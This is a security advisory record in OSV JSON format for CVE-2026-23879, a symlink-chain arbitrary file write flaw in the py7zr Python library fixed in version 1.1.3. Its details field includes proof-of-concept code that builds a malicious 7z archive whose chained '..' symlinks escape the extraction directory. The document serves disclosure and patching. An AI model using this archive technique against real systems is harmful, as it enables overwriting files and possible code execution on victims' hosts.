CVE-2026-23879: py7zr Arbitrary File Write Vulnerability Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6rc-2cgv-63h7",
  "modified" : "2026-07-21T13:17:00Z",
  "published" : "2026-06-19T19:21:57Z",
  "aliases" : [ "CVE-2026-23879" ],
  "summary" : "py7zr: Arbitrary File Write Vulnerability",
  "details" : "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n<img width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" />\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n<img width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" />\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "py7zr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23879"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-q6rc-2cgv-63h7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/miurahr/py7zr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/py7zr"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T19:21:57Z",
    "nvd_published_at" : "2026-06-24T20:16:31Z"
  }
}